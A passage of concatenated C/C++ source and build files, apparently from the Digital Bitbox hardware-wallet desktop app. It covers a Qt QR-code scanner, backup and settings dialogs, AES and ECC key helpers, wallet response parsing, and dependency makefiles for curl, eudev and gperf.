}
QList<QVideoFrame::PixelFormat> CameraFrameGrabber::supportedPixelFormats(QAbstractVideoBuffer::HandleType handleType) const
{
Q_UNUSED(handleType);
return QList<QVideoFrame::PixelFormat>()
<< QVideoFrame::Format_ARGB32
<< QVideoFrame::Format_ARGB32_Premultiplied
<< QVideoFrame::Format_RGB32
<< QVideoFrame::Format_RGB24
<< QVideoFrame::Format_RGB565
<< QVideoFrame::Format_RGB555
<< QVideoFrame::Format_ARGB8565_Premultiplied
<< QVideoFrame::Format_BGRA32
<< QVideoFrame::Format_BGRA32_Premultiplied
<< QVideoFrame::Format_BGR32
<< QVideoFrame::Format_BGR24
<< QVideoFrame::Format_BGR565
<< QVideoFrame::Format_BGR555
<< QVideoFrame::Format_BGRA5658_Premultiplied
<< QVideoFrame::Format_AYUV444
<< QVideoFrame::Format_AYUV444_Premultiplied
<< QVideoFrame::Format_YUV444
<< QVideoFrame::Format_YUV420P
<< QVideoFrame::Format_YV12
<< QVideoFrame::Format_UYVY
<< QVideoFrame::Format_YUYV
<< QVideoFrame::Format_NV12
<< QVideoFrame::Format_NV21
<< QVideoFrame::Format_IMC1
<< QVideoFrame::Format_IMC2
<< QVideoFrame::Format_IMC3
<< QVideoFrame::Format_IMC4
<< QVideoFrame::Format_Y8
<< QVideoFrame::Format_Y16
<< QVideoFrame::Format_Jpeg
<< QVideoFrame::Format_CameraRaw
<< QVideoFrame::Format_AdobeDng;
}
bool CameraFrameGrabber::present(const QVideoFrame &frame)
{
if (frame.isValid()) {
QVideoFrame cloneFrame(frame);
cloneFrame.map(QAbstractVideoBuffer::ReadOnly);
const QImage image(cloneFrame.bits(),
cloneFrame.width(),
cloneFrame.height(),
QVideoFrame::imageFormatFromPixelFormat(cloneFrame.pixelFormat()));
QImage copyI;
if (NEEDS_H_MIRRORING || NEEDS_V_MIRRORING)
{
QTransform transform;
transform.rotate(180);
copyI = image.mirrored(NEEDS_H_MIRRORING, NEEDS_V_MIRRORING).transformed(transform).copy();
}
else
{
copyI = image.copy();
}
const QImage small = copyI.scaled(CAMIMG_WIDTH,CAMIMG_HEIGHT,Qt::KeepAspectRatio);
double height = small.height();
imageSize = small.size();
scanThread->setNextImage(&small);
if (pixmapItem)
{
const QPixmap pixmap = QPixmap::fromImage(small);
pixmapItem->setPixmap(pixmap);
}
cloneFrame.unmap();
return true;
}
return false;
}
bool DBBQRCodeScanner::availability()
{
#if QT_VERSION >= 0x050300
QList<QCameraInfo> cameras = QCameraInfo::availableCameras();
return !cameras.empty();
#else
return true;
#endif
}
DBBQRCodeScanner::~DBBQRCodeScanner()
{
delete gview;
delete gscene;
delete frameGrabber;
delete pixmapItem;
delete cam;
delete vlayout;
}
DBBQRCodeScanner::DBBQRCodeScanner(QWidget *parent)
{
resize(CAMIMG_WIDTH,CAMIMG_HEIGHT);
// create graphics scene, view and single pixmap container
gscene = new QGraphicsScene(this);
gview = new QGraphicsView(gscene);
pixmapItem = new QGraphicsPixmapItem();
gscene->addItem(pixmapItem);
// create a camera
cam = new QCamera();
#if QT_VERSION >= 0x050500
#ifndef Q_OS_WIN
// o
// if compile agaist Qt5, reduce framerate
QCameraViewfinderSettings settings;
settings.setMaximumFrameRate(MAX_FPS);
cam->setViewfinderSettings(settings);
#endif
#endif
// create the framegrabber viewfinder
frameGrabber = new CameraFrameGrabber(this, pixmapItem);
cam->setViewfinder(frameGrabber);
cam->start();
// create the window/layout
QSizePolicy sizePolicy(QSizePolicy::Expanding, QSizePolicy::Expanding);
sizePolicy.setHorizontalStretch(0);
sizePolicy.setVerticalStretch(0);
gview->setSizePolicy(sizePolicy);
vlayout = new QVBoxLayout();
vlayout->setSpacing(0);
vlayout->setContentsMargins(0,0,0,0);
setLayout(vlayout);
gview->move(0,0);
vlayout->addWidget(gview);
// set background color
QPalette pal;
pal.setColor(QPalette::Background, Qt::black);
setPalette(pal);
gview->setPalette(pal);
gview->setBackgroundBrush(QBrush(Qt::black, Qt::SolidPattern));
connect(frameGrabber->scanThread, SIGNAL(QRCodeFound(const QString&)), this, SLOT(passQRCodePayload(const QString&)));
}
void DBBQRCodeScanner::resizeEvent(QResizeEvent * event)
{
// resize elements to window size
vlayout->setGeometry(QRect(0, 0, this->width(), this->height()));;
gview->fitInView(QRect(0, 0, this->width(), this->height()));
gscene->setSceneRect(QRect(0, 0, this->width(), this->height()));
//scale QGraphicsPixmapItem to exact size factor
double sfact = 1.0/CAMIMG_WIDTH*this->width();
if (frameGrabber && frameGrabber->pixmapItem)
frameGrabber->pixmapItem->setScale(sfact);
// fix height
if (frameGrabber->imageSize.height() > 0)
this->resize(this->width(), frameGrabber->imageSize.height()*sfact);
}
void DBBQRCodeScanner::closeEvent(QCloseEvent *event)
{
// disable the scanner when user closes the window
setScannerActive(false);
event->accept();
}
void DBBQRCodeScanner::setScannerActive(bool state)
{
if (state)
cam->start();
else
cam->stop();
}
void DBBQRCodeScanner::passQRCodePayload(const QString &payload)
{
emit QRCodeFound(payload);
}
<|start_filename|>src/dbb_netthread.cpp<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "dbb_netthread.h"
std::vector<DBBNetThread*> DBBNetThread::netThreads;
std::mutex DBBNetThread::cs_netThreads;
void DBBNetThread::completed()
{
finished = true;
}
bool DBBNetThread::hasCompleted()
{
return finished;
}
void DBBNetThread::join()
{
currentThread.join();
}
DBBNetThread::DBBNetThread()
{
finished = false;
starttime = std::time(0);
}
DBBNetThread* DBBNetThread::DetachThread()
{
CleanupThreads();
DBBNetThread* thread = new DBBNetThread();
{
std::unique_lock<std::mutex> lock(cs_netThreads);
netThreads.push_back(thread);
}
return thread;
}
void DBBNetThread::CleanupThreads()
{
std::unique_lock<std::mutex> lock(cs_netThreads);
std::vector<DBBNetThread*>::iterator it = netThreads.begin();
while (it != netThreads.end()) {
DBBNetThread* netThread = (*it);
if (netThread->hasCompleted()) {
if (netThread->currentThread.joinable())
netThread->currentThread.join();
delete netThread;
it = netThreads.erase(it);
} else {
++it;
}
}
}
DBBNetThread::~DBBNetThread()
{
}
<|start_filename|>src/qt/settingsdialog.h<|end_filename|>
#ifndef DBB_APP_SETTINGSDIALOG_H
#define DBB_APP_SETTINGSDIALOG_H
#include <QDialog>
#include "dbb_configdata.h"
namespace Ui {
class SettingsDialog;
}
class SettingsDialog : public QDialog
{
Q_OBJECT
DBB::DBBConfigdata *configData;
public slots:
void resetDefaults();
void cancel();
void setHiddenPassword();
void resetU2F();
void useDefaultProxyToggled(int newState);
public:
explicit SettingsDialog(QWidget *parent = 0, DBB::DBBConfigdata* configData = NULL, bool deviceLocked = false);
~SettingsDialog();
void updateDeviceLocked(bool deviceLocked);
void closeEvent(QCloseEvent *event);
void showEvent(QShowEvent* event);
signals:
void settingsDidChange();
void settingsShouldChangeHiddenPassword(const QString&);
void settingsShouldResetU2F();
private:
Ui::SettingsDialog *ui;
void loadSettings();
void storeSettings();
void updateVisibility();
bool cancleOnClose;
};
#endif //DBB_APP_SETTINGSDIALOG_H
<|start_filename|>src/qt/backupdialog.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBB_BACKUPDIALOG_H
#define DBB_BACKUPDIALOG_H
#include <QWidget>
namespace Ui {
class BackupDialog;
}
class BackupDialog : public QWidget
{
Q_OBJECT
public:
explicit BackupDialog(QWidget *parent = 0);
~BackupDialog();
void showList(const std::vector<std::string>& elements);
void showLoading(bool creatingBackup = false);
signals:
void addBackup();
void restoreFromBackup(const QString& filename);
void eraseAllBackups();
void eraseBackup(const QString& filename);
void verifyBackup(const QString& filename);
public slots:
void addBackupPressed();
void verifyBackupPressed();
void eraseAllBackupPressed();
void eraseSingleBackupPressed();
void restoreBackupPressed();
private:
Ui::BackupDialog *ui;
bool loadingState;
};
#endif // DBB_BACKUPDIALOG_H
<|start_filename|>src/qt/update.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBBAPP_UPDATE_H
#define DBBAPP_UPDATE_H
#include <QWidget>
#include "univalue.h"
class DBBUpdateManager : public QWidget
{
Q_OBJECT
signals:
//emitted when check-for-updates response is available
void checkForUpdateResponseAvailable(const std::string&, long, bool);
void updateButtonSetAvailable(bool);
public:
DBBUpdateManager();
~DBBUpdateManager();
//set the dynamic/runtime CA file for https requests
void setCAFile(const std::string& ca_file);
void setSocks5ProxyURL(const std::string& proxyUrl);
public slots:
void checkForUpdateInBackground();
void checkForUpdate(bool reportAlways = true);
void parseCheckUpdateResponse(const std::string &response, long statusCode, bool reportAlways);
private:
bool SendRequest(const std::string& method, const std::string& url, const std::string& args, std::string& responseOut, long& httpcodeOut);
bool checkingForUpdates;
std::string ca_file;
std::string socks5ProxyURL;
};
#endif // DBBAPP_UPDATE_H
<|start_filename|>src/libdbb/crypto.cpp<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "crypto.h"
#include <btc/aes.h>
#include <btc/random.h>
#include <string.h>
//ignore osx depracation warning
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
void aesDecrypt(unsigned char* aesKey, unsigned char* aesIV, unsigned char* encMsg, size_t encMsgLen, unsigned char* decMsg)
{
aes_context ctx[1];
aes_set_key(aesKey, 32, ctx);
aes_cbc_decrypt(encMsg, decMsg, encMsgLen / N_BLOCK, aesIV, ctx);
memset(ctx, 0, sizeof(ctx)); //clean password
}
void aesEncrypt(unsigned char* aesKey, unsigned char* aesIV, const unsigned char* msg, size_t msgLen, unsigned char* encMsg)
{
aes_context ctx[1];
aes_set_key(aesKey, 32, ctx);
aes_cbc_encrypt(msg, encMsg, msgLen / N_BLOCK, aesIV, ctx);
memset(ctx, 0, sizeof(ctx)); //clean password
}
void getRandIV(unsigned char* ivOut)
{
random_init();
random_bytes(ivOut, N_BLOCK, 0);
}
<|start_filename|>src/dbb_app.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBB_APP_H
#define DBB_APP_H
#ifndef _SRC_CONFIG__DBB_CONFIG_H
#include "config/_dbb-config.h"
#endif
typedef enum DBB_CMD_EXECUTION_STATUS
{
DBB_CMD_EXECUTION_STATUS_OK,
DBB_CMD_EXECUTION_STATUS_ENCRYPTION_FAILED,
DBB_CMD_EXECUTION_DEVICE_OPEN_FAILED,
} dbb_cmd_execution_status_t;
#endif
<|start_filename|>depends/packages/curl.mk<|end_filename|>
package=curl
$(package)_version=7.46.0
$(package)_download_path=http://curl.haxx.se/download
$(package)_file_name=$(package)-$($(package)_version).tar.gz
$(package)_sha256_hash=df9e7d4883abdd2703ee758fe0e3ae74cec759b26ec2b70e5d1c40239eea06ec
$(package)_patches=darwinssl.patch
$(package)_build_env+=CFLAGS="$($(package)_cflags) $($(package)_cppflags) -DCURL_STATICLIB"
$(package)_dependencies=openssl
define $(package)_preprocess_cmds
patch -p1 < $($(package)_patch_dir)/darwinssl.patch && autoreconf -i
endef
define $(package)_set_vars
$(package)_build_env+=CFLAGS="$($(package)_cflags) $($(package)_cppflags) -DCURL_STATICLIB"
$(package)_config_opts=-disable-shared --enable-static --disable-ftp --disable-ldap --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-file --without-libssh2 --without-libidn --without-librtmp --without-libpsl --without-ldap --without-libmetalink --without-zlib --with-ssl=$(host_prefix)
$(package)_config_opts_linux=--with-pic
$(package)_config_opts_darwin=--with-darwinssl
$(package)_config_opts_mingw32=--without-ssl --with-winssl
endef
define $(package)_config_cmds
$($(package)_autoconf)
endef
define $(package)_build_cmd
$(MAKE) $($(package)_build_opts)
endef
define $(package)_stage_cmds
$(MAKE) DESTDIR=$($(package)_staging_dir) install
endef
<|start_filename|>src/qt/backupdialog.cpp<|end_filename|>
// Copyright (c) 2015 <NAME> / Shift Devices AG
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "backupdialog.h"
#include "ui/ui_backupdialog.h"
#include <QStringListModel>
#include <QStringList>
BackupDialog::BackupDialog(QWidget *parent) :
QWidget(parent),
ui(new Ui::BackupDialog)
{
ui->setupUi(this);
//connect buttons to slots
connect(ui->addButton, SIGNAL(clicked()), this, SLOT(addBackupPressed()));
connect(ui->eraseAllButton, SIGNAL(clicked()), this, SLOT(eraseAllBackupPressed()));
connect(ui->eraseSelected, SIGNAL(clicked()), this, SLOT(eraseSingleBackupPressed()));
connect(ui->restoreButton, SIGNAL(clicked()), this, SLOT(restoreBackupPressed()));
connect(ui->verifyButton, SIGNAL(clicked()), this, SLOT(verifyBackupPressed()));
}
void BackupDialog::showLoading(bool creatingBackup)
{
//simple loading through list updating
QList<QString> loadingList; loadingList << tr((creatingBackup) ? "creating backup..." : "loading...");
ui->listView->setModel(new QStringListModel(loadingList));
loadingState = true;
}
void BackupDialog::showList(const std::vector<std::string>& elements)
{
QVector<QString> stringVector;
for (const std::string& aItem : elements) {
stringVector.push_back(QString::fromStdString(aItem).trimmed());
}
ui->listView->setModel(new QStringListModel(QList<QString>::fromVector(stringVector)));
loadingState = false;
}
void BackupDialog::addBackupPressed()
{
showLoading(true);
emit addBackup();
}
void BackupDialog::restoreBackupPressed()
{
if (loadingState)
return;
QModelIndex index = ui->listView->currentIndex();
emit restoreFromBackup(index.data().toString());
}
void BackupDialog::eraseSingleBackupPressed()
{
if (loadingState)
return;
QModelIndex index = ui->listView->currentIndex();
emit eraseBackup(index.data().toString());
}
void BackupDialog::eraseAllBackupPressed()
{
emit eraseAllBackups();
}
void BackupDialog::verifyBackupPressed()
{
if (loadingState)
return;
QModelIndex index = ui->listView->currentIndex();
emit verifyBackup(index.data().toString());
}
BackupDialog::~BackupDialog()
{
delete ui;
}
<|start_filename|>depends/packages/eudev.mk<|end_filename|>
package=eudev
$(package)_version=v3.1.5
$(package)_download_path=https://github.com/gentoo/eudev/archive/
$(package)_file_name=$($(package)_version).tar.gz
$(package)_sha256_hash=ce9d5fa91e3a42c7eb95512ca0fa2a631e89833053066bb6cdf42046b2a88553
$(package)_dependencies=native_gperf
define $(package)_set_vars
$(package)_config_opts=--disable-gudev --disable-introspection --disable-hwdb --disable-manpages
endef
define $(package)_config_cmds
$($(package)_autoconf)
endef
define $(package)_build_cmd
$(MAKE)
endef
define $(package)_preprocess_cmds
cd $($(package)_build_subdir); autoreconf -f -i
endef
define $(package)_stage_cmds
$(MAKE) DESTDIR=$($(package)_staging_dir) install
endef
<|start_filename|>depends/packages/native_gperf.mk<|end_filename|>
package=native_gperf
$(package)_version=3.0.4
$(package)_download_path=http://ftp.gnu.org/pub/gnu/gperf/
$(package)_file_name=gperf-$($(package)_version).tar.gz
$(package)_sha256_hash=767112a204407e62dbc3106647cf839ed544f3cf5d0f0523aaa2508623aad63e
define $(package)_set_vars
$(package)_config_opts=--disable-manpages
endef
define $(package)_config_cmds
$($(package)_autoconf)
endef
define $(package)_build_cmd
$(MAKE)
endef
define $(package)_stage_cmds
$(MAKE) DESTDIR=$($(package)_staging_dir) install
endef
<|start_filename|>src/qt/verificationdialog.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBB_VERIFICATIONDIALOG_H
#define DBB_VERIFICATIONDIALOG_H
#include <QDialog>
#include "qrcodesequence.h"
namespace Ui {
class VerificationDialog;
}
class VerificationDialog : public QDialog
{
Q_OBJECT
public:
explicit VerificationDialog(QWidget *parent = 0);
~VerificationDialog();
void setData(const QString& title, const QString& detailText, const std::string& qrCodeData);
private:
Ui::VerificationDialog *ui;
};
#endif // DBB_VERIFICATIONDIALOG_H
<|start_filename|>src/dbb_wallet.cpp<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "dbb_wallet.h"
#include "dbb_util.h"
void DBBWallet::updateData(const UniValue& walletResponse)
{
availableBalance = 0;
totalBalance = -1;
walletRemoteName = "";
currentPaymentProposals = UniValue(UniValue::VNULL);
// check if error code exists
UniValue code = find_value(walletResponse, "code");
if (code.isStr())
return;
else
if(!client.walletJoined) {
client.walletJoined = true;
client.SaveLocalData();
}
// get balance and name
UniValue balanceObj = find_value(walletResponse, "balance");
if (balanceObj.isObject()) {
UniValue availableAmountUni = find_value(balanceObj, "availableAmount");
if (availableAmountUni.isNum())
availableBalance = availableAmountUni.get_int64();
UniValue totalAmountUni = find_value(balanceObj, "totalAmount");
if (totalAmountUni.isNum())
totalBalance = totalAmountUni.get_int64();
}
UniValue walletObj = find_value(walletResponse, "wallet");
if (walletObj.isObject()) {
UniValue nameUni = find_value(walletObj, "name");
if (nameUni.isStr())
walletRemoteName = nameUni.get_str();
std::string mStr;
std::string nStr;
UniValue mUni = find_value(walletObj, "m");
if (mUni.isNum())
mStr = std::to_string(mUni.get_int());
UniValue nUni = find_value(walletObj, "n");
if (nUni.isNum())
nStr = std::to_string(nUni.get_int());
if (mStr.size() > 0 && nStr.size() > 0)
walletRemoteName += " (" + mStr + " of " + nStr + ")";
}
UniValue pendingTxps = find_value(walletResponse, "pendingTxps");
if (pendingTxps.isArray())
currentPaymentProposals = pendingTxps;
}
bool DBBWallet::rewriteKeypath(std::string& keypath)
{
DBB::strReplace(keypath, "m", baseKeypath());
return true;
}
void DBBWallet::setBaseKeypath(const std::string& keypath)
{
std::unique_lock<std::recursive_mutex> lock(this->cs_wallet);
_baseKeypath = keypath;
}
const std::string& DBBWallet::baseKeypath()
{
std::unique_lock<std::recursive_mutex> lock(this->cs_wallet);
return _baseKeypath;
}
void DBBWallet::setBackendURL(const std::string& backendUrl)
{
client.setBaseURL(backendUrl);
}
void DBBWallet::setCAFile(const std::string& ca_file_in)
{
client.setCAFile(ca_file_in);
}
void DBBWallet::setSocks5ProxyURL(const std::string& proxyURL)
{
client.setSocks5ProxyURL(proxyURL);
}
<|start_filename|>src/qt/getaddressdialog.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBB_GETADDRESSDIALOG_H
#define DBB_GETADDRESSDIALOG_H
#include <QDialog>
#include <univalue.h>
namespace Ui {
class GetAddressDialog;
}
class GetAddressDialog : public QDialog
{
Q_OBJECT
public:
explicit GetAddressDialog(QWidget *parent = 0);
~GetAddressDialog();
signals:
void verifyGetAddress(const QString& keypath);
void shouldGetXPub(const QString& keypath);
public slots:
void verifyGetAddressButtonPressed();
void addressBaseDataChanged();
void setLoading(bool state);
void updateAddress(const UniValue &xpubResult);
void keypathEditFinished();
//allows to set the base keypath
void setBaseKeypath(const std::string& keypath);
private:
std::string _baseKeypath;
Ui::GetAddressDialog *ui;
QString getCurrentKeypath();
QString lastKeypath;
void showEvent(QShowEvent * event);
};
#endif // DBB_GETADDRESSDIALOG_H
<|start_filename|>src/libbtc/test/utils_tests.c<|end_filename|>
/**********************************************************************
* Copyright (c) 2015 <NAME> *
* Distributed under the MIT software license, see the accompanying *
* file COPYING or http://www.opensource.org/licenses/mit-license.php.*
**********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include "utils.h"
void test_utils()
{
char hash[] = "28969cdfa74a12c82f3bad960b0b000aca2ac329deea5c2328ebc6f2ba9802c1";
uint8_t* hash_bin = utils_hex_to_uint8(hash);
char* new = utils_uint8_to_hex(hash_bin, 32);
assert(strncmp(new, hash, 64) == 0);
uint64_t bigint = 0xFFFFFFFFFFFFFFFF;
char vint[255];
int outlen;
utils_uint64_to_varint(vint, &outlen, bigint);
assert(outlen = 16);
assert(strncmp("ffffffffffffffffff", vint, outlen) == 0);
memset(vint, 0, 255);
bigint = 0xFA;
utils_uint64_to_varint(vint, &outlen, bigint);
assert(outlen = 2);
assert(strncmp("fa", vint, outlen) == 0);
memset(vint, 0, 255);
bigint = 0xFFA;
utils_uint64_to_varint(vint, &outlen, bigint);
assert(outlen = 4);
assert(strncmp("fdfa0f", vint, outlen) == 0);
memset(vint, 0, 255);
bigint = 0xFFFFA;
utils_uint64_to_varint(vint, &outlen, bigint);
assert(outlen = 8);
assert(strncmp("fefaff0f00", vint, outlen) == 0);
char varint0[] = "fa";
utils_varint_to_uint64(varint0, &bigint);
assert(bigint == 250);
char varint1[] = "ffffffffffffffffff";
utils_varint_to_uint64(varint1, &bigint);
assert(bigint == 0xFFFFFFFFFFFFFFFF);
char varint2[] = "fdfa0f";
utils_varint_to_uint64(varint2, &bigint);
assert(bigint == 4090);
char varint3[] = "fefaff0f00";
utils_varint_to_uint64(varint3, &bigint);
assert(bigint == 1048570);
unsigned char data[] = {0x00, 0xFF, 0x00, 0xAA, 0x00, 0xFF, 0x00, 0xAA};
char hex[sizeof(data) * 2 + 1];
utils_bin_to_hex(data, sizeof(data), hex);
assert(strcmp(hex, "00ff00aa00ff00aa") == 0);
unsigned char data2[sizeof(data)];
utils_hex_to_bin(hex, data2, strlen(hex), &outlen);
assert(outlen == 8);
assert(memcmp(data, data2, outlen) == 0);
}
<|start_filename|>src/dbb_wallet.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBB_WALLET_H
#define DBB_WALLET_H
#include "univalue.h"
#include "bitpaywalletclient/bpwalletclient.h"
#include <atomic>
#include <mutex>
#include <map>
#ifdef WIN32
#include <windows.h>
#include "mingw/mingw.mutex.h"
#include "mingw/mingw.condition_variable.h"
#include "mingw/mingw.thread.h"
#endif
class DBBWallet
{
private:
std::recursive_mutex cs_wallet;
std::string _baseKeypath;
public:
std::map<std::string, std::pair<int, std::string> > mapHashSig;
BitPayWalletClient client;
std::string participationName;
std::string walletRemoteName;
UniValue currentPaymentProposals;
int64_t totalBalance;
int64_t availableBalance;
std::atomic<bool> updatingWallet;
std::atomic<bool> shouldUpdateWalletAgain;
DBBWallet(const std::string& dataDirIn, bool testnetIn) : client(dataDirIn, testnetIn)
{
_baseKeypath = "m/131'/45'";
participationName = "digitalbitbox";
updatingWallet = false;
}
/* update wallet data from a getwallet json response */
void updateData(const UniValue& walletResponse);
bool rewriteKeypath(std::string& keypath);
void setBaseKeypath(const std::string& keypath);
const std::string& baseKeypath();
void setBackendURL(const std::string& backendUrl);
void setCAFile(const std::string& caFile);
void setSocks5ProxyURL(const std::string& proxyURL);
};
#endif
<|start_filename|>src/libbtc/src/ecc_key.c<|end_filename|>
/*
The MIT License (MIT)
Copyright (c) 2015 <NAME>
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/
#include "btc/ecc_key.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include "btc/ecc.h"
#include "btc/hash.h"
#include "btc/random.h"
#include "ripemd160.h"
#include "utils.h"
void btc_privkey_init(btc_key* privkey)
{
memset(&privkey->privkey, 0, BTC_ECKEY_PKEY_LENGTH);
}
btc_bool btc_privkey_is_valid(btc_key* privkey)
{
return btc_ecc_verify_privatekey(privkey->privkey);
}
void btc_privkey_cleanse(btc_key* privkey)
{
memset(&privkey->privkey, 0, BTC_ECKEY_PKEY_LENGTH);
}
void btc_privkey_gen(btc_key* privkey)
{
if (privkey == NULL)
return;
do {
random_bytes(privkey->privkey, BTC_ECKEY_PKEY_LENGTH, 0);
} while (btc_ecc_verify_privatekey(privkey->privkey) == 0);
}
btc_bool btc_privkey_verify_pubkey(btc_key* privkey, btc_pubkey* pubkey)
{
uint8_t rnddata[32], hash[32];
random_bytes(rnddata, 32, 0);
btc_hash(rnddata, 32, hash);
unsigned char sig[74];
size_t siglen = 74;
if (!btc_key_sign_hash(privkey, hash, sig, &siglen))
return false;
return btc_pubkey_verify_sig(pubkey, hash, sig, siglen);
}
void btc_pubkey_init(btc_pubkey* pubkey)
{
if (pubkey == NULL)
return;
memset(pubkey->pubkey, 0, BTC_ECKEY_UNCOMPRESSED_LENGTH);
pubkey->compressed = false;
}
btc_bool btc_pubkey_is_valid(btc_pubkey* pubkey)
{
return btc_ecc_verify_pubkey(pubkey->pubkey, pubkey->compressed);
}
void btc_pubkey_cleanse(btc_pubkey* pubkey)
{
if (pubkey == NULL)
return;
memset(pubkey->pubkey, 0, BTC_ECKEY_UNCOMPRESSED_LENGTH);
}
void btc_pubkey_get_hash160(const btc_pubkey* pubkey, uint8_t* hash160)
{
uint8_t hashout[32];
btc_hash_sngl_sha256(pubkey->pubkey, pubkey->compressed ? BTC_ECKEY_COMPRESSED_LENGTH : BTC_ECKEY_UNCOMPRESSED_LENGTH, hashout);
ripemd160(hashout, 32, hash160);
}
btc_bool btc_pubkey_get_hex(const btc_pubkey* pubkey, char* str, size_t *strsize)
{
if (*strsize < BTC_ECKEY_COMPRESSED_LENGTH*2)
return false;
utils_bin_to_hex((unsigned char *)pubkey->pubkey, BTC_ECKEY_COMPRESSED_LENGTH, str);
*strsize = BTC_ECKEY_COMPRESSED_LENGTH*2;
return true;
}
void btc_pubkey_from_key(btc_key* privkey, btc_pubkey* pubkey_inout)
{
if (pubkey_inout == NULL || privkey == NULL)
return;
size_t in_out_len = BTC_ECKEY_COMPRESSED_LENGTH;
btc_ecc_get_pubkey(privkey->privkey, pubkey_inout->pubkey, &in_out_len, true);
pubkey_inout->compressed = true;
}
btc_bool btc_key_sign_hash(const btc_key* privkey, const uint8_t* hash, unsigned char* sigout, size_t* outlen)
{
return btc_ecc_sign(privkey->privkey, hash, sigout, outlen);
}
btc_bool btc_key_sign_hash_compact(const btc_key* privkey, const uint8_t* hash, unsigned char* sigout, size_t* outlen)
{
return btc_ecc_sign_compact(privkey->privkey, hash, sigout, outlen);
}
btc_bool btc_pubkey_verify_sig(const btc_pubkey* pubkey, const uint8_t* hash, unsigned char* sigder, int len)
{
return btc_ecc_verify_sig(pubkey->pubkey, pubkey->compressed, hash, sigder, len);
}
<|start_filename|>src/qt/qrcodesequence.cpp<|end_filename|>
// Copyright (c) 2015 <NAME> / Shift Devices AG
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "qrcodesequence.h"
#include "ui/ui_qrcodesequence.h"
#include <cmath>
QRCodeSequence::QRCodeSequence(QWidget* parent) : QWidget(parent), ui(new Ui::QRCodeSequence)
{
ui->setupUi(this);
connect(ui->nextButton, SIGNAL(clicked()), this, SLOT(nextButton()));
connect(ui->prevButton, SIGNAL(clicked()), this, SLOT(prevButton()));
}
QRCodeSequence::~QRCodeSequence()
{
removeQRcodes();
delete ui;
}
void QRCodeSequence::removeQRcodes()
{
for (QRcode *qrcode : qrcodes)
{
QRcode_free(qrcode);
}
qrcodes.clear();
}
void QRCodeSequence::nextButton()
{
if (currentPage < qrcodes.size()-1)
showPage(currentPage+1);
}
void QRCodeSequence::prevButton()
{
if (currentPage > 0)
showPage(currentPage-1);
}
void QRCodeSequence::setIconFromQRCode(QRcode *code, QIcon *icon, int width, int height)
{
if (!icon)
return;
QImage myImage = QImage(code->width + 8, code->width + 8, QImage::Format_RGB32);
myImage.fill(0xffffff);
unsigned char *p = code->data;
for (int y = 0; y < code->width; y++)
{
for (int x = 0; x < code->width; x++)
{
myImage.setPixel(x + 4, y + 4, ((*p & 1) ? 0x0 : 0xffffff));
p++;
}
}
QPixmap pixMap = QPixmap::fromImage(myImage).scaled(width, height);
icon->addPixmap(pixMap, QIcon::Normal);
icon->addPixmap(pixMap, QIcon::Disabled);
}
void QRCodeSequence::showPage(int page)
{
if (page >= qrcodes.size())
return;
QRcode *code = qrcodes[page];
if (code)
{
QIcon icon;
setIconFromQRCode(code, &icon);
ui->qrCode->setIcon(icon);
ui->qrCode->setIconSize(QSize(ui->qrCode->width(), ui->qrCode->height()));
}
ui->pageLabel->setText(QString::number(page+1)+"/"+QString::number(qrcodes.size()));
currentPage = page;
}
void QRCodeSequence::setData(const std::string& data)
{
removeQRcodes();
size_t maxSize = data.size();
int numPages = ceil(maxSize/QRCODE_MAX_CHARS);
static const char* digits = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
// for now, don't allow more then 9 pages
if (numPages > strlen(digits))
return;
int i;
for (i=0;i<numPages;i++)
{
size_t pageSize = QRCODE_MAX_CHARS;
if (i == numPages-1)
pageSize = maxSize - (numPages-1) * QRCODE_MAX_CHARS;
std::string subStr = data.substr(i*QRCODE_MAX_CHARS, pageSize);
if (numPages > 1)
